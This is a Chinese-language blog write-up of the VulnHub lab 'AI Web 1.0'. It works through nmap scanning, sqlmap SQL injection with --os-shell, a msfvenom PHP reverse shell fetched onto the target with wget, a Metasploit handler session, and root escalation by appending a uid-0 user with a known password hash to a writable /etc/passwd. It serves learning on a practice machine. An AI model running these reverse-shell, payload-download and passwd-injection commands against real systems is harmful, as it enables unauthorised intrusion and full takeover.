VulnHub靶場之AI Web 1.0

VulnHub靶場之AI Web 1.0

廢話不多說,直接開始實驗,都是老套路起步了
用vm打開靶機,運行kali和靶機
首先肯定查看kali的ip地址,然後使用nmap命令:nmap -sP 192.168.80.0/24掃描主機:
在這裏插入圖片描述
找到了靶機的IP地址,接下來進行端口掃描
nmap命令:nmap -p 1-65535 -sV 192.168.80.129
在這裏插入圖片描述
發現只開了一個80端口,我們進行訪問:
在這裏插入圖片描述
頁面上有一句話!!甚至連谷歌搜索我的內容都不行!??
我們都知道google等搜索引擎都是通過網絡蜘蛛爬取內容的!!
如果說不能獲取內容的話,猜測存在robots.txt,進行訪問,發現存在:
在這裏插入圖片描述
逐個進行訪問,結果發現http://192.168.80.129/m3diNf0/http://192.168.80.129/se3reTdir777/uploads/都是forbidden:
在這裏插入圖片描述
在這裏插入圖片描述
僅有http://192.168.80.129/se3reTdir777/可以訪問:
在這裏插入圖片描述
隨便輸入沒發現什麼東西,,,掃描一下目錄,沒發現什麼東西,掃描了一下:http://192.168.80.129/m3diNf0/
發現存在一個info.php:
在這裏插入圖片描述
訪問發現是phpinfo:
在這裏插入圖片描述
emmmm,接下來感覺無從下手,唯一的點就是那個找id的頁面了
難道SQL注入??不應該啊,也沒有登錄頁面啥的
不管了,先使用sqlmap掃一下:

sqlmap -u "http://192.168.80.129/se3reTdir777/" --data "uid=1&Operation=Submit" --dbs

在這裏插入圖片描述
發現有兩個表,然而感覺並沒有什麼卵用啊
後面知道了,原來sqlmap還有創建一個webshell的功能!!!
不過需要知道路徑才能創建,不過我們有phpinfo啊,路徑還怕不知道?使用命令:

sqlmap -u "http://192.168.80.129/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell

運行之後會讓我們進行選擇,然後需要輸入路徑:
在這裏插入圖片描述
路徑我們也是知道的:
在這裏插入圖片描述
輸入:/home/www/html/web1x443290o2sdf92213
發現有問題,後面瞭解到,sqlmap需要一個能夠寫入文件的路徑~
經過猜測,uploads的那個應該可以寫,重新進行嘗試:

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

成功的拿到了shell:
在這裏插入圖片描述
查看一下用戶:
在這裏插入圖片描述
emmmm,接下來應該就是反彈shell了,啊哈哈哈
這裏使用msfvenom生成php馬,應該也可以自己寫一個反彈shell的php一句話

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.80.128  lport=4567  -f raw > shell.php

(圖片中ip搞錯了,ip寫錯導致後面浪費太多時間了,日了)
在這裏插入圖片描述
接下來就是進行上傳了
利用python搭建一個簡單的服務器:python -m SimpleHTTPServer 9875
在靶機上使用命令:wget http://192.168.80.128:9875/shell.php
在這裏插入圖片描述
然後再kali上利用msf反彈shell,然後在靶機上運行shell.php,成功得到shell(好像nc -lnvp 4567也可以拿到):

msf > use exploit/multi/handler 
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.80.128
lhost => 192.168.80.128
msf exploit(multi/handler) > set lport 4567
lport => 4657
msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.80.128:4567 
[*] Sending stage (37775 bytes) to 192.168.80.129
[*] Meterpreter session 1 opened (192.168.80.128:4567 -> 192.168.80.129:47336) at 2019-11-12 06:20:46 -0500

meterpreter > shell
Process 2560 created.
Channel 0 created.
ls
c.php
shell.php
tmpbslsw.php
tmpulrdt.php

利用python拿到標準shell:python -c 'import pty; pty.spawn("/bin/bash")'
在這裏插入圖片描述
使用uname -a查看一下服務器版本:
在這裏插入圖片描述
發現版本較新,應該很難利用腳本進行提權,所以我們需要另選辦法了,,,,
查看一下/etc/passwd文件的權限,使用ls -al,發現:
在這裏插入圖片描述
我們可以往passwd文件中寫入東西!!
一個大膽的想法,我們可以直接往裏面添加一個用戶呀!
利用kali的openssl :openssl passwd -1 -salt shell 123:
在這裏插入圖片描述
使用命令echo寫入:echo 'shell:$1$shell$5TvJA7y/9faSDWR84IKgZ/:0:0::/root:/bin/bash'>>/etc/passwd
注意一個問題,千萬不要把">>"換成“>”,不然你會知道錯的
搞的我是頭皮發麻了,“>”輸入就覆蓋文件內容,覆蓋之後就出現了問題
搞的我重新初始化虛擬機,重新上傳shell,換了個簡單的方式:
在這裏插入圖片描述
nc監聽,,,,
重新拿到shell,寫入剛剛的那句話:echo 'shell:$1$shell$5TvJA7y/9faSDWR84IKgZ/:0:0::/root:/bin/bash'>>/etc/passwd
拿到root權限:
在這裏插入圖片描述
最後在root文件夾中拿到flag:
在這裏插入圖片描述
實驗完成!!!!

總結

太棒了,這個實驗又學到了許多!!!
原來sqlmap還有創建webshell的功能,簡直不要太強,,
還有利用msf反彈shell的方法,簡直不要太強,
很好,雖說這個實驗比較簡單,但是考點也比較好,學得到許多的東西
恩恩,望以後繼續努力,加油!!!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章